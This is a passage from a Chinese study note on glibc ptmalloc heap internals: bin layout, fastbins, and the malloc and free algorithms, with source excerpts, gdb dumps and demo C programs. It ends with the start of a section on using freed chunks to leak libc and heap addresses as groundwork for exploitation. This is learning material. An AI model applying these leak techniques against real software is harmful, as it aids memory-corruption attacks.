preceeded and followed by either 331 | inuse chunks or the ends of memory. 332 | 333 | // bins 中的 chunk 是按照大小排序的. FIFO, small bins 是不存在按大小排序的, 因为每一个 small bin 都是相同 size 的. 但是对于 large bin 是需要按照顺序插入的. 这样可以在内存分配时很快查找到合适内存. 334 | Chunks in bins are kept in size order, with ties going to the 335 | approximately least recently used chunk. Ordering isn't needed 336 | for the small bins, which all contain the same-sized chunks, but 337 | facilitates best-fit allocation for larger chunks. These lists 338 | are just sequential. Keeping them in order almost never requires 339 | enough traversal to warrant using fancier ordered data 340 | structures. 341 | 342 | // FIFO, 从头部插入节点, 尾部取节点. 这样有个特定就是更容易内存的合并. 343 | Chunks of the same size are linked with the most 344 | recently freed at the front, and allocations are taken from the 345 | back. This results in LRU (FIFO) allocation order, which tends 346 | to give each chunk an equal opportunity to be consolidated with 347 | adjacent freed chunks, resulting in larger free chunks and less 348 | fragmentation. 349 | 350 | To simplify use in double-linked lists, each bin header acts 351 | as a malloc_chunk. This avoids special-casing for headers. 352 | But to conserve space and improve locality, we allocate 353 | only the fd/bk pointers of bins, and then use repositioning tricks 354 | to treat these as the fields of a malloc_chunk*. 355 | */ 356 | ``` 357 | 358 | ptmalloc 采用分箱式管理空闲 chunk, 也就是 Bins. Bins 本身就是一个数组, 每一个存放的是一个对应长度的 chunk 双向环链表的头结点和尾节点. 相同 Size 的 chunk 才能组成一个环,Bins 是按大小依次进行存放. 359 | 360 | 关于 Bins 为什么定义为 `mchunkptr bins[NBINS * 2 - 2]` 而不是 `mchunkptr bins[NBINS * 4 - 2]`, 是如何少一倍的空间实现的双向链表, 可以参考 ``, 这里大致说一下, 对于双向环的的标志头节点, 它的 `prev_size` 和 `size` 是无用的, 所以直接省略, 但是还要把它当成正确的 chunk 结构. 这里的 trick 就在于 `bin_at` 宏, 返回了伪造的 fake chunk 的地址, 这里和 `Double Free` 以及 `unlink绕过`的利用手法类似, 之后会在 `Double Free` 漏洞详细说明. 361 | 362 | ``` 363 | /* addressing -- note that bin_at(0) does not exist */ 364 | #define bin_at(m, i) \ 365 | (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \ 366 | - offsetof (struct malloc_chunk, fd)) 367 | ``` 368 | 369 | 这里举一个例子, 只摘取一部分, 完整的例子, 在下方的 ptmalloc 利用部分. 370 | 371 | ```c 372 | # 查看 unsorted bin 的地址, 其实也就是 bin[1] 的地址 373 | (gdb) heap -b 374 | ===================================Heap Dump=================================== 375 | 376 | unsorted bin @ 0x7ffff7dd1b88 377 | free chunk @ 0x602160 - size 0x90 378 | 379 | free chunk @ 0x6020b0 - size 0x90 380 | 381 | free chunk @ 0x602000 - size 0x90 382 | # 这里的 0x7ffff7dd1B78 也就是 bin_at 返回的地址, 返回了一个伪造的 chunk 的地址 383 | # 其实这里的 fd 和 bk 才真正属于 bin[1] 的内容. 384 | (gdb) p *(mfastbinptr)0x7ffff7dd1B78 385 | $17 = {prev_size = 6300176, size = 0, fd = 0x602160, bk = 0x602000, fd_nextsize = 0x7ffff7dd1b88 , bk_nextsize = 0x7ffff7dd1b88 } 386 | ``` 387 | 388 | #### small bins, large bins 389 | 390 | 对于 chunk `size < 512`, 是存放在 small bins, 有 64 个, 每个 bin 是以 8 bytes 作为分割边界, 也就相当于等差序列, 举个例子: small bins 中存放的第一个 `chunk 双向环链表` 全部都是由 size 为 16 bytes 大小的 chunk 组成的, 第二个 `chunk 双向环链表` 都是由 size 为 16+8 bytes 大小的 chunk 组成的. 但是对于 large bins, 分割边界是递增的, 举个简单例子: 前 32 个 large bins 的分割边界都是 64 bytes, 之后 16 个 large bins 的分割边界是 512 bytes. 以上仅为字长为 32 位的情况下, 具体请参考如下. 391 | 392 | ``` 393 | eglibc-2.19/malloc/malloc.c:1436 394 | /* 395 | Indexing 396 | 397 | Bins for sizes < 512 bytes contain chunks of all the same size, spaced 398 | 8 bytes apart. Larger bins are approximately logarithmically spaced: 399 | 400 | 64 bins of size 8 401 | 32 bins of size 64 402 | 16 bins of size 512 403 | 8 bins of size 4096 404 | 4 bins of size 32768 405 | 2 bins of size 262144 406 | 1 bin of size what's left 407 | 408 | There is actually a little bit of slop in the numbers in bin_index 409 | for the sake of speed. This makes no difference elsewhere. 410 | 411 | The bins top out around 1MB because we expect to service large 412 | requests via mmap. 413 | 414 | Bin 0 does not exist. Bin 1 is the unordered list; if that would be 415 | a valid chunk size the small bins are bumped up one. 416 | */ 417 | ``` 418 | 419 | 这涉及到如何根据 Size 在 Bins 中查到对应的 bin, 可以参考 `eglibc-2.19/malloc/malloc.c:1460` 420 | 421 | large bin 有些特殊, 空闲 chunk 的存放需要排序, `large_bin->bk` 为最小 size 的 chunk, `large_bin->fd` 为最大 size 的 chunk. 422 | 423 | #### Fastbins 424 | 425 | 关于 Fastbins 的介绍, 可以参考 `eglibc-2.19/malloc/malloc.c:1570` 426 | 427 | ``` 428 | /* 429 | Fastbins 430 | // 单向链表, LIFO 规则 431 | An array of lists holding recently freed small chunks. Fastbins 432 | are not doubly linked. It is faster to single-link them, and 433 | since chunks are never removed from the middles of these lists, 434 | double linking is not necessary. Also, unlike regular bins, they 435 | are not even processed in FIFO order (they use faster LIFO) since 436 | ordering doesn't much matter in the transient contexts in which 437 | fastbins are normally used. 438 | // Fastbin即使被释放但仍然标记在使用 439 | Chunks in fastbins keep their inuse bit set, so they cannot 440 | be consolidated with other free chunks. malloc_consolidate 441 | releases all chunks in fastbins and consolidates them with 442 | other free chunks. 443 | */ 444 | ``` 445 | 446 | 当进行内存分配时先从 Fastbins 中进行查找, 之后才在 Bins 进行查找; 释放内存时, 当chunk `size < max_fast` 会先存放到 Fastbins. 447 | 448 | 另一个需要注意的点就是 Fastbins 的合并(清空), 也就是 `malloc_consolidate` 这个函数的工作. 449 | 450 | * 何时会触发 `malloc_consolidate`(仅对 `_int_malloc` 函数而言) ? 451 | 452 | 1. small bins 尚未初始化 453 | 2. 需要 size 大于 small bins 454 | 455 | * `malloc_consolidate` 如何进行合并 ? 456 | 457 | 遍历 Fastbins 中的 chunk, 设置每个 chunk 的空闲标志位为 0, 并合并相邻的空闲 chunk, 之后把该 chunk 存放到 unsorted bin 中. 458 | 459 | Fastbins 是单向链表, 可以通过 `fastbin->fd` 遍历 Fastbins. 460 | 461 | #### unsorted bin 462 | 463 | 只有一个 unsorted bin, 进行内存分配查找时先在 Fastbins, small bins 中查找, 之后会在 unsorted bin 中进行查找, 并整理 unsorted bin 中所有的 chunk 到 Bins 中对应的 Bin. unsorted bin 位于 `bin[1]`. 464 | 465 | `unsorted_bin->fd` 指向双向环链表的头结点, `unsorted_bin->bk` 指向双向环链表的尾节点, 在头部插入新的节点. 466 | 467 | #### top chunk 468 | 469 | top chunk 位于最高地址, 它的作用已经在上面提到过. 470 | 471 | 以下引用来自 `glibc内存管理ptmalloc源代码分析.pdf`. 472 | 473 | > 对于非主分配区会预先从 mmap 区域分配一块较大的空闲内存模拟 sub-heap,通过管 理 sub-heap 来响应用户的需求,因为内存是按地址从低向高进行分配的,在空闲内存的最 高处,必然存在着一块空闲 chunk,叫做 top chunk.当 bins 和 fast bins 都不能满足分配需 要的时候,ptmalloc 会设法在 top chunk 中分出一块内存给用户,如果 top chunk 本身不够大, 分配程序会重新分配一个 sub-heap,并将 top chunk 迁移到新的 sub-heap 上, 新的 sub-heap 与已有的 sub-heap 用单向链表连接起来,然后在新的 top chunk 上分配所需的内存以满足分配的需要,实际上,top chunk 在分配时总是在 fast bins 和 bins 之后被考虑,所以,不论 top chunk 有多大,它都不会被放到 fast bins 或者是 bins 中. top chunk 的大小是随着分配和回 收不停变换的,如果从 top chunk 分配内存会导致 top chunk 减小,如果回收的 chunk 恰好 与 top chunk 相邻,那么这两个 chunk 就会合并成新的 top chunk,从而使 top chunk 变大. 如果在 free 时回收的内存大于某个阈值,并且 top chunk 的大小也超过了收缩阈值,ptmalloc 会收缩 sub-heap,如果 top-chunk 包含了整个 sub-heap,ptmalloc 会调用 munmap 把整个 sub-heap 的内存返回给操作系统. 474 | 475 | > 由于主分配区是唯一能够映射进程 heap 区域的分配区,它可以通过 sbrk()来增大或是 收缩进程 heap 的大小,ptmalloc 在开始时会预先分配一块较大的空闲内存 (也就是所谓的 heap), 主分配区的 top chunk 在第一次调用 mallocd 时会分配一块(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap,用户从 top chunk 分配内存时,可以直接取出一块内 存给用户.在回收内存时,回收的内存恰好与 top chunk 相邻则合并成新的 top chunk,当该次回收的空闲内存大小达到某个阈值,并且 top chunk 的大小也超过了收缩阈值,会执行内 存收缩,减小 top chunk 的大小,但至少要保留一个页大小的空闲内存,从而把内存归还给 操作系统.如果向主分配区的 top chunk 申请内存,而 top chunk 中没有空闲内存, ptmalloc 会调用 sbrk()将的进程 heap 的边界 brk 上移, 然后修改 top chunk 的大小. 476 | 477 | 478 | 479 | #### mmaped chunk 480 | 481 | > 当需要分配的 chunk 足够大,而且 fast bins 和 bins 都不能满足要求,甚至 top chunk 本 身也不能满足分配需求时,ptmalloc 会使用 mmap 来直接使用内存映射来将页映射到进程空 间.这样分配的 chunk 在被 free 时将直接解除映射,于是就将内存归还给了操作系统,再 次对这样的内存区的引用将导致 segmentation fault 错误.这样的 chunk 也不会包含在任何 bin 中. 482 | 483 | #### Last remainder 484 | 485 | > Last remainder 是另外一种特殊的 chunk,就像 top chunk 和 mmaped chunk 一样,不会 在任何 bins 中找到这种 chunk.当需要分配一个 small chunk, 但在 small bins 中找不到合适 的 chunk, 如果 last remainder chunk 的大小大于所需的 small chunk 大小,last remainder chunk 被分裂成两个 chunk, 其中一个 chunk 返回给用户, 另一个 chunk 变成新的 last remainder chuk. 486 | 487 | 需要注意的是, 仅在请求 small chunk 才使用. 具体可以参考 `eglibc-2.19/malloc/malloc.c:3459` 488 | 489 | #### malloc_state 490 | 491 | 只存在一个主分区, 但是允许多个非主分区, 主分配区域可以访问 heap 区域 和 mmap 区域, 非主分区只能访问 mmap 区域, 每次用 mmap 分配一块大小的内存当做 sub-heap, 用于模拟 heap. 具体细节可以参考 ``, 每次进行内存分配必须加锁请求一个分配区. 492 | 493 | ```c 494 | eglibc-2.19/malloc/malloc.c:1663 495 | /* 496 | ----------- Internal state representation and initialization ----------- 497 | */ 498 | 499 | struct malloc_state 500 | { 501 | /* Serialize access. */ 502 | mutex_t mutex; 503 | 504 | /* Flags (formerly in max_fast). */ 505 | int flags; 506 | 507 | #if THREAD_STATS 508 | /* Statistics for locking. Only used if THREAD_STATS is defined. */ 509 | long stat_lock_direct, stat_lock_loop, stat_lock_wait; 510 | #endif 511 | 512 | /* Fastbins */ 513 | mfastbinptr fastbinsY[NFASTBINS]; 514 | 515 | /* Base of the topmost chunk -- not otherwise kept in a bin */ 516 | mchunkptr top; 517 | 518 | /* The remainder from the most recent split of a small request */ 519 | mchunkptr last_remainder; 520 | 521 | /* Normal bins packed as described above */ 522 | mchunkptr bins[NBINS * 2 - 2]; 523 | 524 | /* Bitmap of bins */ 525 | unsigned int binmap[BINMAPSIZE]; 526 | 527 | /* Linked list */ 528 | struct malloc_state *next; 529 | 530 | /* Linked list for free arenas. */ 531 | struct malloc_state *next_free; 532 | 533 | /* Memory allocated from the system in this arena. */ 534 | INTERNAL_SIZE_T system_mem; 535 | INTERNAL_SIZE_T max_system_mem; 536 | }; 537 | ``` 538 | 539 | 关于 `malloc_init_state` 的定义在: 540 | 541 | ```c 542 | eglibc-2.19/malloc/malloc.c:1768 543 | /* 544 | Initialize a malloc_state struct. 545 | 546 | This is called only from within malloc_consolidate, which needs 547 | be called in the same contexts anyway. It is never called directly 548 | outside of malloc_consolidate because some optimizing compilers try 549 | to inline it at all call points, which turns out not to be an 550 | optimization at all. (Inlining it in malloc_consolidate is fine though.) 551 | */ 552 | 553 | static void 554 | malloc_init_state (mstate av) 555 | { 556 | ``` 557 | 558 | 在 `eglibc-2.19/malloc/malloc.c:1741` 有一个已经初始化的主分配区 `main_arena`, 根据 ELF 的结构解析, 已初始化的全局变量存放在 `.data` 段, 下图作为实践. 559 | 560 | ``` 561 | # 33 是 Section 的 Index 562 | λ : readelf -s /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so | grep main_arena 563 | 915: 00000000003c3b20 2192 OBJECT LOCAL DEFAULT 33 main_arena 564 | # 对应 33 的 Section 恰好为 .data 565 | λ : readelf -S /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so | grep .data 566 | [16] .rodata NOBITS 0000000000174720 000002b4 567 | [23] .tdata NOBITS 00000000003bf7c0 001bf7c0 568 | [29] .data.rel.ro NOBITS 00000000003bf900 001bf7c0 569 | [33] .data NOBITS 00000000003c3080 001bf7c0 570 | ``` 571 | 572 | ## _int_malloc() 分析 573 | 574 | 先获取分配区指针, 这个过程设计到分配区初始化和分配区加锁, 之后使用 `_int_malloc` 进行核心的内存分配. 575 | 576 | ```c 577 | eglibc-2.19/malloc/malloc.c:3295 578 | /* 579 | ------------------------------ malloc ------------------------------ 580 | */ 581 | 582 | static void * 583 | _int_malloc (mstate av, size_t bytes) 584 | { 585 | ``` 586 | 587 | 本来不想阅读, 发现不读根本不了解原理, 这一段分析来自 `` 但是对其中很多步骤做了补充和修改, 可以对比看一下 (以下针对 32 位字长) 588 | 589 | ``` 590 | ptmalloc 的响应用户内存分配要求的具体步骤为: 591 | 592 | 1) 获取分配区的锁, 为了防止多个线程同时访问同一个分配区, 在进行分配之前需要取得分配区域的锁. 线程先查看线程私有实例中是否已经存在一个分配区, 如果存 在尝试对该分配区加锁, 如果加锁成功, 使用该分配区分配内存, 否则, 该线程搜 索分配区循环链表试图获得一个空闲(没有加锁)的分配区. 如果所有的分配区都 已经加锁, 那么 ptmalloc 会开辟一个新的分配区, 把该分配区加入到全局分配区循 环链表和线程的私有实例中并加锁, 然后使用该分配区进行分配操作. 开辟出来的 新分配区一定为非主分配区, 因为主分配区是从父进程那里继承来的. 开辟非主分配区时会调用 mmap()创建一个 sub-heap, 并设置好 top chunk. 593 | 594 | 2) 将用户的请求大小转换为实际需要分配的 chunk 空间大小. 具体查看 request2size 宏 (malloc.c:3332) 595 | 596 | 3) 判断所需分配 chunk 的大小是否满足 chunk_size <= max_fast (max_fast 默认为 64B), 如果是的话, 则转下一步, 否则跳到第 5 步. (malloc.c:3340) 597 | 598 | 4) 首先尝试在 Fastbins 中查找所需大小的 chunk 分配给用户. 如果可以找到, 则分配结束. 否则转到下一步. (malloc.c:3340) 599 | 600 | 5) 判断所需大小是否处在 small bins 中, 即判断 chunk_size < 512B 是否成立. 如果 chunk 大小处在 small bins 中, 则转下一步, 否则转到第 7 步. (malloc.c:3377) 601 | 602 | 6) 根据所需分配的 chunk 的大小, 找到具体所在的某个 small bin, 从该 Bin 的尾部摘取一个恰好满足大小的 chunk. 若成功, 则分配结束, 否则, 转到 8. (malloc.c:3377) 603 | 604 | 7) 到了这一步, 说明需要分配的是一块大的内存, 于是, ptmalloc 首先会遍历 Fastbins 中的 chunk, 将相邻的空闲 chunk 进行合并, 并链接到 unsorted bin 中. 对于 Fastbins 的合并是由 `malloc_consolidate` 做处理. (malloc.c:3421) 605 | 606 | 8) 遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, 并且这个 chunk 在上次分配时被使用过(也就是 last_remainder), 并且 chunk 的大小大于 (分配的大小 + MINSIZE), 这种情况下就直接将该 chunk 进行切割, 分配结束, 否则继续遍历, 如果发现一个 unsorted bin 的 size 恰好等于需要分配的 size, 命中缓存, 分配结束, 否则将根据 chunk 的空间大小将其放入对应的 small bins 或是 large bins 中, 遍历完成后, 转入下一步. (malloc.c:3442) 607 | 608 | 9) 到了这一步说明需要分配的是一块大的内存, 并且 Fastbins 和 unsorted bin 中所有的 chunk 都清除干净 了. 从 large bins 中按照 “smallest-first, best-fit”(最小&合适, 也就是说大于或等于所需 size 的最小 chunk) 原则, 找一个合适的 chunk, 从中划分一块合适大小的 chunk 进行切割, 并将剩下的部分放到 unsorted bin, 若操作成功, 则分配结束, 否则转到下一步. (malloc.c:3576) 609 | 610 | 10) 到了这一步说明在对应的 bin 上没有找到合适的大小, 无论是 small bin 还是 large bin, 对于 small bin, 如果没有对应大小的 small bin, 只能 idx+1. 对于 large bin,在上一步的 large bin 并不一定能找到合适的 chunk 进行切割, 因为 large bins 间隔是很大的, 假如当前的 idx 的 large bin 只有一个 chunk, 但是所需 size 大于该 chunk, 这就导致找不到合适的, 只能继续 idx+1, 最后都需要根据 bitmap 找到之后第一个非空闲的 bin. 在这两种情况下找到的 bin 中的 chunk 一定可以进行切割或者全部分配(剩余的 size < MINSIZE) (malloc.c:3649) 611 | 612 | 11) 如果仍然都没有找到合适的 chunk, 那么就需要操作 top chunk 来进行分配了. 判断 top chunk 大小是否满足所需 chunk 的大小, 如果是, 则从 top chunk 中分出一块来. 否则转到下一步. (malloc.c:3749) 613 | 614 | 12) 到了这一步, 说明 top chunk 也不能满足分配要求, 所以, 于是就有了两个选择: 如果是主分配区, 调用 sbrk(), 增加 top chunk 大小;如果是非主分配区, 调用 mmap 来分配一个新的 sub-heap, 增加 top chunk 大小;或者使用 mmap()来直接分配. 在这里, 需要依靠 chunk 的大小来决定到底使用哪种方法. 判断所需分配的 chunk 大小是否大于等于 mmap 分配阈值, 如果是的话, 则转下一步, 调用 mmap 分配, 否则跳到第 13 步, 增加 top chunk 的大小. (malloc.c:3800) 615 | 616 | 13) 使用 mmap 系统调用为程序的内存空间映射一块 chunk_size align 4kB 大小的空间. 然后将内存指针返回给用户. 617 | 618 | 14) 判断是否为第一次调用 malloc, 若是主分配区, 则需要进行一次初始化工作, 分配一块大小为(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap. 若已经初始化过了, 主分配区则调用 sbrk()增加 heap 空间, 分主分配区则在 top chunk 中切割出一个 chunk, 使之满足分配需求, 并将内存指针返回给用户. 619 | ``` 620 | 621 | ## _int_free() 分析 622 | 623 | ``` 624 | eglibc-2.19/malloc/malloc.c:3808 625 | /* 626 | ------------------------------ free ------------------------------ 627 | */ 628 | 629 | static void 630 | _int_free (mstate av, mchunkptr p, int have_lock) 631 | { 632 | ``` 633 | 634 | 下面分析具体过程, 同样是参考 `` 但是对其中很多步骤做了补充和修改, 可以对比看一下 (以下针对 32 位字长) 635 | 636 | ``` 637 | 1) free()函数同样首先需要获取分配区的锁, 来保证线程安全. 638 | 639 | 2) 判断传入的指针是否为 0, 如果为 0, 则什么都不做, 直接 return.否则转下一步. 640 | 641 | 3) 判断 chunk 的大小和所处的位置, 若 chunk_size <= max_fast, 并且 chunk 并不位于 heap 的顶部, 也就是说并不与 Top chunk 相邻, 则转到下一步, 否则跳到第 5 步.(因为与 top chunk 相邻的 chunk(fastbin) ,会与 top chunk 进行合并, 所以这里不仅需要判断大小, 还需要判断相邻情况) 642 | 643 | 4) 将 chunk 放到 Fastbins 中, chunk 放入到 Fastbins 中时, 并不修改该 chunk 使用状 态位 P.也不与相邻的 chunk 进行合并.只是放进去, 如此而已.这一步做完之后 释放便结束了, 程序从 free()函数中返回. 644 | 645 | 5) 判断所需释放的 chunk 是否为 mmaped chunk, 如果是, 则调用 munmap()释放 mmaped chunk, 解除内存空间映射, 该该空间不再有效.如果开启了 mmap 分配 阈值的动态调整机制, 并且当前回收的 chunk 大小大于 mmap 分配阈值, 将 mmap 分配阈值设置为该 chunk 的大小, 将 mmap 收缩阈值设定为 mmap 分配阈值的 2 倍, 释放完成, 否则跳到下一步. 646 | 647 | 6) 判断前一个 chunk 是否处在使用中, 如果前一个块也是空闲块, 则合并.并转下一步. 648 | 649 | 7) 判断当前释放 chunk 的下一个块是否为 top chunk, 如果是, 则转第 9 步, 否则转 下一步. 650 | 651 | 8) 判断下一个 chunk 是否处在使用中, 如果下一个 chunk 也是空闲的, 则合并, 并将合并后的 chunk 放到 unsorted bin 中.注意, 这里在合并的过程中, 要更新 chunk 的大小, 以反映合并后的 chunk 的大小.并转到第 10 步. 652 | 653 | 9) 如果执行到这一步, 说明释放了一个与 top chunk 相邻的 chunk.则无论它有多大, 都将它与 top chunk 合并, 并更新 top chunk 的大小等信息.转下一步. (malloc.c:3950) 654 | 655 | 10) 判断合并后的 chunk 的大小是否大于 FASTBIN_CONSOLIDATION_THRESHOLD(默认 64KB), 如果是的话, 则会触发进行 Fastbins 的合并操作(malloc_consolidate), Fastbins 中的 chunk 将被遍历, 并与相邻的空闲 chunk 进行合并, 合并后的 chunk 会被放到 unsorted bin 中. Fastbins 将变为空, 操作完成之后转下一步. 656 | 657 | 11) 判断 top chunk 的大小是否大于 mmap 收缩阈值(默认为 128KB), 如果是的话, 对于主分配区, 则会试图归还 top chunk 中的一部分给操作系统.但是最先分配的 128KB 空间是不会归还的, ptmalloc 会一直管理这部分内存, 用于响应用户的分配 请求;如果为非主分配区, 会进行 sub-heap 收缩, 将 top chunk 的一部分返回给操 作系统, 如果 top chunk 为整个 sub-heap, 会把整个 sub-heap 还回给操作系统.做 完这一步之后, 释放结束, 从 free() 函数退出.可以看出, 收缩堆的条件是当前 free 的 chunk 大小加上前后能合并 chunk 的大小大于 64k, 并且要 top chunk 的大 小要达到 mmap 收缩阈值, 才有可能收缩堆. 658 | ``` 659 | 660 | ## 特殊的分配情况举例说明 661 | 662 | 下面几个的演示例子中没有使用到一些 heap 分析插件, 会在 ptmalloc 的利用那一步使用到 heap 分析的插件. 663 | 664 | 下面一段表明小于 `Fastbins的size` 在释放后不会进行合并, 如果使用 gdb 查看 chunk 信息可以看到 `P` 标志位为 1, 这里需要注意的是看下一个 chunk 的 `P` 标志位, 而不是当前 chunk 的标志位, 这里就不进行演示了. 665 | 666 | ```c 667 | #include 668 | #include 669 | void main() 670 | { 671 | void *m1 = malloc(24); 672 | int t = 0; 673 | void * ms[200]; 674 | 675 | for(t = 0; t < 200; t++) 676 | ms[t] = malloc(120); // default fastbin size 677 | 678 | malloc(24); 679 | 680 | for(t = 0; t < 200; t++) 681 | free(ms[t]); 682 | void *m2 = malloc(24); 683 | printf("%p\n",m1); 684 | printf("%p\n",m2); 685 | } 686 | 687 | // result: 688 | λ : gcc -g -o test2 test2.c && ./test2 689 | 0x17c2010 690 | 0x17c8450 691 | ``` 692 | 693 | --- 694 | 695 | 下面例子表明, 当 fast bin 的相邻为空闲 chunk, 以及相邻 top chunk 的情况, 都不会进行合并, 但是对于 top chunk 的情况有些特殊. 696 | 697 | ``` 698 | /* 699 | TRIM_FASTBINS controls whether free() of a very small chunk can 700 | immediately lead to trimming. Setting to true (1) can reduce memory 701 | footprint, but will almost always slow down programs that use a lot 702 | of small chunks. 703 | 704 | Define this only if you are willing to give up some speed to more 705 | aggressively reduce system-level memory footprint when releasing 706 | memory in programs that use many small chunks. You can get 707 | essentially the same effect by setting MXFAST to 0, but this can 708 | lead to even greater slowdowns in programs using many small chunks. 709 | TRIM_FASTBINS is an in-between compile-time option, that disables 710 | only those chunks bordering topmost memory from being placed in 711 | fastbins. 712 | */ 713 | ``` 714 | 715 | 当设置 `TRIM_FASTBINS=1` fast bin 会与相邻的 top chunk 进行合并 716 | 717 | ```c 718 | λ : cat test5.c 719 | #include 720 | #include 721 | void main() 722 | { 723 | void *m1 = malloc(500); 724 | void *m2 = malloc(40); 725 | malloc(1); 726 | void *m3 = malloc(80); 727 | free(m1); 728 | free(m2); 729 | void *m4 = malloc(40); 730 | 731 | free(m3); 732 | void *m5 = malloc(80); 733 | printf("m1, %p\n",m1); 734 | printf("m2, %p\n",m2); 735 | printf("m3, %p\n",m3); 736 | printf("m4, %p\n",m4); 737 | printf("m5, %p\n",m5); 738 | 739 | } 740 | // result: 741 | λ : gcc -g -o test5 test5.c && ./test5 742 | m1, 0x8b1010 743 | m2, 0x8b1210 744 | m3, 0x8b1260 745 | m4, 0x8b1210 746 | m5, 0x8b1260 747 | ``` 748 | 749 | --- 750 | 751 | 下面的例子表明 small bin 在释放后会相邻合并的例子. 752 | 753 | ```c 754 | #include 755 | #include 756 | void main() 757 | { 758 | void *m1 = malloc(24); 759 | int t = 0; 760 | void * ms[200]; 761 | 762 | for(t = 0; t < 200; t++) 763 | ms[t] = malloc(121); // small bin size 764 | 765 | malloc(24); 766 | 767 | for(t = 0; t < 200; t++) 768 | free(ms[t]); 769 | void *m2 = malloc(24); 770 | printf("%p\n",m1); 771 | printf("%p\n",m2); 772 | } 773 | 774 | // result: 775 | λ : gcc -g -o test2 test2.c && ./test2 776 | 0xeab010 777 | 0xeab030 778 | ``` 779 | 780 | --- 781 | 782 | 下面举例说明 `malloc_consolidate` 的作用, 以及如何触发 `malloc_consolidate`. 请仔细理解 m6, m7 和 m8. 783 | 784 | ```c 785 | #include 786 | #include 787 | void main() 788 | { 789 | void *m0 = malloc(24); 790 | void *m1 = malloc(24); 791 | void *m2 = malloc(0x200); 792 | void *m3 = malloc(0x100); 793 | void *m4 = malloc(24); 794 | void *m5 = malloc(24); 795 | malloc(121); 796 | free(m0); 797 | free(m1); 798 | free(m2); 799 | free(m3); 800 | free(m4); 801 | free(m5); 802 | 803 | 804 | malloc(0x350); 805 | void *m6 = malloc(0x360); 806 | malloc(1210); // 触发 Fastbins 合并 807 | void *m7 = malloc(0x360); 808 | void *m8 = malloc(24); 809 | 810 | printf("m0,%p\n", m0); 811 | printf("m1,%p\n", m1); 812 | printf("m2,%p\n", m2); 813 | printf("m3,%p\n", m3); 814 | printf("m4,%p\n", m4); 815 | printf("m5,%p\n", m5); 816 | printf("m6,%p\n", m6); 817 | printf("m7,%p\n", m7); 818 | printf("m8,%p\n", m8); 819 | } 820 | 821 | result: 822 | λ : gcc -g -o test3 test3.c && ./test3 823 | m0,0x1bf7010 824 | m1,0x1bf7030 825 | m2,0x1bf7050 826 | m3,0x1bf7260 827 | m4,0x1bf7370 828 | m5,0x1bf7390 829 | m6,0x1bf77a0 830 | m7,0x1bf7010 831 | m8,0x1bf7380 832 | ``` 833 | 834 | --- 835 | 836 | 下面举例说明, 当 small bins 和 large bins 没有找到对应合适 size 的 Bin, 需要切割的情况. 837 | 838 | ```c 839 | #include 840 | #include 841 | 842 | void main() 843 | { 844 | void * m1 = malloc(0x200); 845 | malloc(121); 846 | void * m2 = malloc(0x401); 847 | malloc(121); 848 | free(m2); 849 | void * m3 = malloc(24); 850 | free(m1); 851 | void * m4 = malloc(24); 852 | printf("m1, %p\n", m1); 853 | printf("m2, %p\n", m2); 854 | printf("m3, %p\n", m3); 855 | printf("m4, %p\n", m4); 856 | printf("sizeof(size_t) = %ld\n", sizeof(size_t)); 857 | } 858 | 859 | result: 860 | λ : gcc -g -o test1 test1.c && ./test1 861 | m1, 0x1a66010 862 | m2, 0x1a662b0 863 | m3, 0x1a662b0 //切割 small bins 864 | m4, 0x1a66010 //切割 large bins 865 | sizeof(size_t) = 8 866 | ``` 867 | ## exploit 在 ptmalloc 中 868 | 869 | 首先明确大部分的关注点, 是在 **leak infomation** 和 **aa4bmo**. 870 | 871 | 对于 leak infomation, 需要所 dump 的地址内存放关键信息, 比如: 释放后的 chunk 的 fd 和 bk. 872 | 873 | 对于 aa4bmo, 这一块在 `PWN之堆触发.md` 有完善的介绍和总结. 874 | 875 | 下面的一些分析实例会用到 heap 的分析插件, 并且会提到一些具体的实践以对应之前的理论. 876 | 877 | #### Leak Information (泄露关键信息) 878 | 879 | Q: 什么是关键信息? 880 | 881 | A: libc 地址, heap 地址 882 | 883 | 通过 ptmalloc 获得的内存 chunk 在释放后会变成上面提到的几种缓存类型, 这里主要提一下 Fastbins, Bins 能够泄漏什么关键信息. 884 | 885 | 分配区 `main_arena` 是已经初始化静态全局变量存放在 `libc.so.6` 的 `.data` 位置, 可以通过 `main_arena` 泄露 libc 的基址. 886 | 887 | 下面是一个关于 Fastbins 的例子, Fastbins 是单向链表, 通过 `fd` 指针进行遍历, 每次插入链表头位置, 可以通过已经释放的 Fastbin chunk 的 `fd` 指针 dump 到 heap 地址. 888 | 889 | ```c 890 | #include 891 | #include 892 | #include 893 | void main() 894 | { 895 | void * m1 = malloc(0x80-8); 896 | void * m2 = malloc(0x80-8); 897 | memset(m1, 65, 0x80-8); 898 | memset(m2, 65, 0x80-8); 899 | malloc(1); 900 | free(m1); 901 | free(m2); 902 | printf("m1: %p\n", m1); 903 | printf("m2: %p\n", m2); 904 | printf("sizeof(size_t): %ld\n", sizeof(size_t)); 905 | } 906 | 907 | # 主分配区 908 | (gdb) P &main_arena 909 | $3 = (struct malloc_state *) 0x7ffff7dd1b20 910 | (gdb) p main_arena 911 | $2 = {mutex = 0, flags = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}, top = 0x602120, last_remainder = 0x0, bins = {...more... }, binmap = {0, 0, 0, 0}, next = 0x7ffff7dd1b20 , next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168} 912 | # 同上 913 | (gdb) heap 914 | ===================================Heap Dump=================================== 915 | 916 | Arena(s) found: 917 | arena @ 0x7ffff7dd1b20 918 | # Fastbins 在释放后, P 标志位不会被清空 919 | (gdb) heap -l 920 | ===================================Heap Dump=================================== 921 | 922 | ADDR SIZE STATUS 923 | sbrk_base 0x602000 924 | chunk 0x602000 0x80 (inuse) 925 | chunk 0x602080 0x80 (inuse) 926 | chunk 0x602100 0x20 (inuse) 927 | chunk 0x602120 0x20ee0 (top) 928 | sbrk_end 0x602001 929 | # 查看 bins 930 | (gdb) heap -b 931 | ===================================Heap Dump=================================== 932 | fast bin 6 @ 0x602080 933 | free chunk @ 0x602080 - size 0x80 934 | free chunk @ 0x602000 - size 0x80 935 | # 通过观察源码和这里 Fastbins 的顺序应该可以发现 Fastbins 是头插入 936 | (gdb) heap -f 